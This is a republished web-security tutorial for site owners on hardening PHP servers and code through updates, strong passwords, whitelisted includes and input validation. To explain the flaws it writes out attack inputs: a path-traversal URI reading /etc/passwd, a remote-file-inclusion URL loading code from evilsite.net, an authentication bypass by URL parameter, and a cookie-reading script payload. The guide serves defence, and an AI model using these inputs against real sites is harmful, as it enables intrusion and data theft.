Web Security: Are You Part Of The Problem? (Part 2)

0 comments | 256 views

Basic Ways To Increase Web Security

Now that you know a bit about what can be done to your website by the bad guys, here are some ways to fight them off.

Keep Code Up to Date

There is no better protection than keeping your code up to date. Outdated versions of WordPress, old installs of PHP and MySQL, even old browsers, all of these are security issues because most updates to software these days are security patches. It is a rat race between those who want the Web to work and those who want to abuse it to make a quick buck or to steal your identity. So please help the good guys by upgrading whenever a new version is out.

Don’t Stay Logged In, and Don’t Entice Others to Either

Staying logged in while not using a system is dangerous. Other websites you surf to can check that you are logged in and then clickjack you to make you do something you don’t mean to or aren’t aware of. This is especially dangerous with social media because everything you do will be sent to all your friends and probably replicated by them. It is a snowball effect.

In my perfect world, no form has a “Keep me logged in” option, which of course would be a nuisance to end users. I would love to see a clever, usable solution to this problem. I use a Flex client for Twitter, not a browser, which means I am not vulnerable even on websites with clickjacking and cross-site request forgery (the latter only if people do not abuse the API to phish my followers; see the presentations at the end of this article for a demo of that).

Use Clever Passwords, and Entice Users to Do the Same

Even on bullet-proof systems, one attack vector is users whose passwords are very easy to guess. I change my passwords every few weeks, and I take inspiration from a book I am reading or a movie I have just seen. I also replace some characters and with numbers to make dictionary attacks harder.

There are two ways to crack a password (other than social engineering, which is making you tell me your password by tricking you or phishing): brute force and dictionary attacks. Brute force entails writing a loop that tries all of the different options (much like playing hangman), which can take ages and uses a lot of computing power. Dictionary attacks use a dictionary database to attempt common words instead of going letter by letter.

Say I am reading a Sherlock Holmes book or have just seen the new screen adaptation, my password could be Sh3rl0ckW4t50n or b4sk3rv!ll3. That may be a bit hardcore for most people but is generally a good idea. Another strategy is to take a sentence that you can memorize easily and string together the initial letters. For example, “I like to buy food for my dog and to walk with it” would be Il2bffmda2wwi or even Il2bffmd&2wwi.

So, if you build a new Web product that needs authentication, and you really need to build your own log-in system rather than use Google, Yahoo, Facebook Connect or OpenID (which might be a good idea), please do not allow users to use passwords like “password” or the not-much-safer “password1.” Recently, a list of passwords banned by Twitter leaked onto the Web, shown here as the full code. This is a good idea (the list, that is, not the leak).

What To Do On Your Server

Even if you are not a server expert, that’s no excuse for running an insecure server. Here are some things to make sure of.

Turn Off Folder Listing

As explained earlier, allowing people to navigate your folders (i.e. path traversal) is a bad idea. Testing whether your server has path traversal turned on is easy:

  1. Create a new folder on the server; for example, pathtest.
  2. Add some files to the folder. But do not add index.html, index.php, default.aspx or whatever else your server uses as the default file name.
  3. Check the folder in your browser; for example, by going to http://example.com/pathtest/
  4. If you can see a listing, contact your server admin to turn that off!

Harden Your PHP

If you have a server with PHP, be aware that you are in control of a powerful tool. The worst oversight someone could make is to allow any parameter that comes in from the URI to become a global variable. This is turned off by default on PHP installs in version 4.2.0 and onward, but your configuration may have changed. In fact, some tutorials recommend that you turn it on for a script to work: this is a very, very bad idea.

You can easily test if globals are enabled:

  1. Create a new file named test.php.
  2. Add the following code to it:
    1 <?php echo "*".$ouch.'*';?>
  3. Upload the file to your server.
  4. Browse to the file, and send a parameter called ouch; for example: http://example.com/test.php?ouch=that+hurts
  5. If your browser shows “*that hurts*”, then your server has globals registered.
  6. Contact your server admin to get this fixed!

Why is this important? Well, in our explanation of XSS earlier, we talked about attackers being able to add code to your page using the URI parameters in your script. If you don’t turn off globals, any variable you use and write out could become an attack. Even worse, consider the following code:

view source

print?

1 if($_POST['username'] == 'muppet' &&
2 $_POST['password'] == 'password1') {
3 $authenticated = true;
4 }
5 if($authenticated) {
6 // do something only admins are allowed to do
7 }

If this is checkuser.php and global registering is on, then an attacker could call this in the browser as http://example.com/checkuser.php?authenticated=true and could work around the whole user checking; his authentication as $_GET['authenticated'] automatically turns into $authenticated.

Turn Off Error Messages

A lot of servers are set up to show you error messages when the browser encounters a problem. These messages often look cryptic, but they are a great source of information for attackers.

Creating an error and seeing what the server spits out is one of the first steps in checking the folder structure of a server. Funnily enough, error pages stating “File XYZ could not be found” were one of the first XSS attack opportunities, because you could look for a file named <script>alert(document.cookie),</script>.

Automatically Checking PHP for Security Issues

Uploading PHPSecInfo to a folder is a pretty handy way to perform a quick audit of your PHP server’s security. Opening it in your browser gives you a detailed checklist of common security flaws and how they should be fixed.

But never leave this on a live server because it gives attackers a lot of details about your set-up!

Securityinfo in Web Security: Are You Part Of The Problem?
PHPSecInfo gives you detailed security information about your PHP setup.

What To Do To Your Code

Because you likely do not have much to do with your server let’s focus on things you do have full control of.

HTML

HTML is pretty safe. It is simply converted into text—no interaction with the server or calculations—so not much can go wrong. That said, you should always use HTML for what it’s for:

A wonderful example of insecure HTML was the drop-down menu on the website of a certain airline. This menu let you define the seating class you wanted to fly in as the last step before printing your voucher. The website rendered the HTML of the drop-down menu and commented out the sections that were not available for the price you had selected:

view source

print?

1 <select name="class">
2 <option value="ec">Economy</option>
3 <option value="ecp">Economy Plus</option>
4 <!--
5 <option value="bu">Business</option>
6 <option value="fi">First</option>
7 -->
8 </select>

The server-side code did not check to see whether you were eligible for a first-class ticket; it simply relied on the option not being available. The form was then sent via JavaScript. So, all you had to do to get a first-class ticket for the price of an economy seat was use FireBug to add a new option to the form, select the value you wanted and send it off.

CSS

CSS is not really capable of doing much to the document and cannot access the server… for now. One problem with CSS is background images that point to URIs. You can inject code by somehow overriding these. The same applies to the @import property for other style sheets.

Using expression() in Internet Explorer to make calculations (or, as in most cases, to simulate what other browsers can already do) is dangerous, though, because what you are doing in essence is executing JavaScript inside a CSS block. So, don’t use it.

CSS changing a lot now, and we are giving it more power than ever before. Generating content with CSS, animation, calculations and font embedding all sound absolutely cool, but I get a prickly feeling in the back of my neck when I look at it right now.

Attack vectors have two features: they have the power to change the content of a document, and they are technologies that are not proven and are changing constantly. This is what CSS 3 is right now. Font-embedding in particular could become a big security issue, because fonts are binary data that could contain anything: harmless characters as well as viruses masquerading as a nice charset. It will be interesting to see how this develops.

JavaScript

JavaScript makes the Web what it is today. You can use it to build interfaces that are fun to use and that allow visitors to reach their goals fast and conveniently. You can and should use JavaScript for the following:

JavaScript is very powerful, though, which also means that it is a security issue:

This means you should not try to do any of the following in JavaScript:

In other words, AJAX is fun, but do not rely on its security. Whatever you do in JavaScript can be monitored and logged by an end user with the right tools.

PHP (or Any Server-Side Language)

Here be dragons! The server-side language is where you can really mess up if you don’t know what you’re doing. The biggest problems are trusting information from the URI or user entry and printing it out in the page. As shown earlier in the XSS example with the colors, you will be making it easy to inject malicious code into your page.

There are two ways to deal with this: whitelisting and proper filtering.

Whitelisting is the most effective way to make sure nothing insecure gets written out. The trick is easy: don’t use information that gets sent through as the output; rather, just use it in conditions or as lookups.

Let’s say you want to add a file on demand to a page. You currently have these sections on the page: About Us, Contact, Clients, Portfolio, Home, Partners. You could store the data of these in about-us.php, contact.php, clients.php, portfolio.php, index.php and partners.php.

The amazingly bad way to do this is probably the way you see done in many tutorials: a file called something like template.php, which takes a page parameter with the file name.

The template then normally contains something like this:

view source

print?

1 <?php include($_GET['page']);?>

If you call http://example.com/template.php?page=about-us.php, this would load the “About Us” document and include it in the template where the code is located.

It would also allow someone to check out all of the other interesting things on your server. For example, http://example.com/template.php?page=../../../../../../../../etc/passwd%00 or the like would allow an attacker to read your passwd file.

If your server allows for remote files with include(), you could also inject a file from another server, like http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?. Remember, these text files will be executed as PHP inside your other PHP file and thus have access to everything. A lot of them contain mass-mailers or check your system for free space and upload options to store data.

In short: never, ever allow an unfiltered URI parameter to become part of a URI that you load in PHP or print out as an href or src in the HTML. Instead, use pointers:

view source

print?

01 <?php
02 $sites = array(
03 'about'=>'about-us.php',
04 'contact'=>'contact.php',
05 'clients'=>'clients.php',
06 'portfolio'=>'portfolio.php',
07 'home'=>'index.php',
08 'partners'=>'partners.php'
09 );
10 if( isset($_GET['page']) &&
11 isset($sites[$_GET['page']]) &&
12 file_exists($sites[$_GET['page']]) ){
13 include($sites[$_GET['page']]);
14 } else {
15 echo 'This page does not exist on this system.';
16 }
17 ?>

This way, the parameters become not a file name but a word. So, http://example.com/template.php?page=about would include about-us.php, http://example.com/template.php?page=home would include index.php and so on. All other requests would trigger the error message. Note that the error message is in our control and not from the server; or else you might display information that could be used for an exploit.

Also, notice how defensive the script is. It checks if a page parameter has been sent; then it checks if an entry for this value exists in the sites array; then it checks if the file exist; and then, and only then, it includes it. Good code does that… which also means it can be a bit bigger than expected. That’s not exactly “Build your own PHP templating system in 20 lines of code!” But it’s much better for the Web as a whole.

Generally, defining all of the variables you will use before you use them is a good idea. This makes it safer even in PHP set-ups that have globals registered. The following cannot be cracked by calling the script with an authenticated parameter:

view source

print?

1 $authenticated = false;
2 if($_POST['username'] == 'muppet' &&
3 $_POST['password'] == 'password1') {
4 $authenticated = true;
5 }
6 if($authenticated) {
7 // do something only admins are allowed to do
8 }

The demo we showed earlier makes it possible to work around this, because $authenticated was not pre-set anywhere.

Writing your own validator function is another option. For example, the color demo could be made secure by allowing only single words and numbers for the colors.

view source

print?

01 $color = 'white';
02 $background = 'black';
03 if(isset($_GET['color']) && isvalid($_GET['color'])){
04 $color = $_GET['color'];
05 if(ishexcolor($color)){
06 $color = '#'.$color;
07 }
08 }
09 if(isset($_GET['background']) && isvalid($_GET['background'])){
10 $background = $_GET['background'];
11 if(ishexcolor($background)){
12 $background = '#'.$background;
13 }
14 }
15 function isvalid($col){
16 // only allow for values that contain a to z or 0 to 9
17 return preg_match('/^[a-z0-9]+$/',$col);
18 }
19 function ishexcolor($col){
20 // checks if the string is 3 or 6 characters
21 if(strlen($col)==3 || strlen($col)==6){
22 // checks if the string only contains a to f or 0 to 9
23 return preg_match('/^[a-f0-9]+$/',$col);
24 }
25 }

This allows for http://example.com/test.php?color=red&background=pink or http://example.com/test.php?color=369&background=69c or http://example.com/test.php?color=fc6&background=449933, but not for http://example.com/test.php?color=333&background=&lt/style>. This keeps it flexible for the end user but still safe to use.

If you are dealing with content that cannot be easily whitelisted, then you’ll need to filter out all the malicious code that someone could inject. This is quite the rat-race because new browser quirks are being found all the time that allow an attacker to execute code.

The most basic way to deal with this is to use the native PHP filters on anything that comes in. But a quite sophisticated package called HTML Purifier is also available.

Housekeeping

One very important part of security is keeping your server clean. If you have old, insecure code lying around, it won’t matter whether your main website is hardened and up to date with the best security measures. Your server is as vulnerable as its weakest and least-maintained code.

Check what you have on your server from time to time, and delete or move things that you are not interested in any more or couldn’t be bothered to maintain. Instead of deleting code, you could move it to a repository such as Google Code or GitHub and redirect the old folder to it.

It is also not a good idea to use the same server to test things and run a live product. Use one server as a test platform for playing around and another for grown-up stuff. It is especially important to have a different domain for each to protect your cookies.

Check Your Log Files

Every server comes with log files that you can access. Many hosting companies even give you detailed statistics that show you where visitors have gone and what they did.

Normally, we just use these to check the number of visitors, what browsers they used, where they came from, when they came and which websites were most successful. This is what makes us happy and allows us to track our progress.

That is not really the interesting part of the statistics package or log files, though:

Your log file is your snitch that tells on the bad guys who come around trying to mess with your server. Be wise and stay a step ahead of them.

Want To Know More?

If you want to know more about the subject, here are some presentations and resources. Please add more in the comments if you know of good ones.

(al)

Source: http://www.smashingmagazine.com

StumbleIt!
Comments

No comments yet.

Leave a comment

(required)

(required)


Spam protection by WP Captcha-Free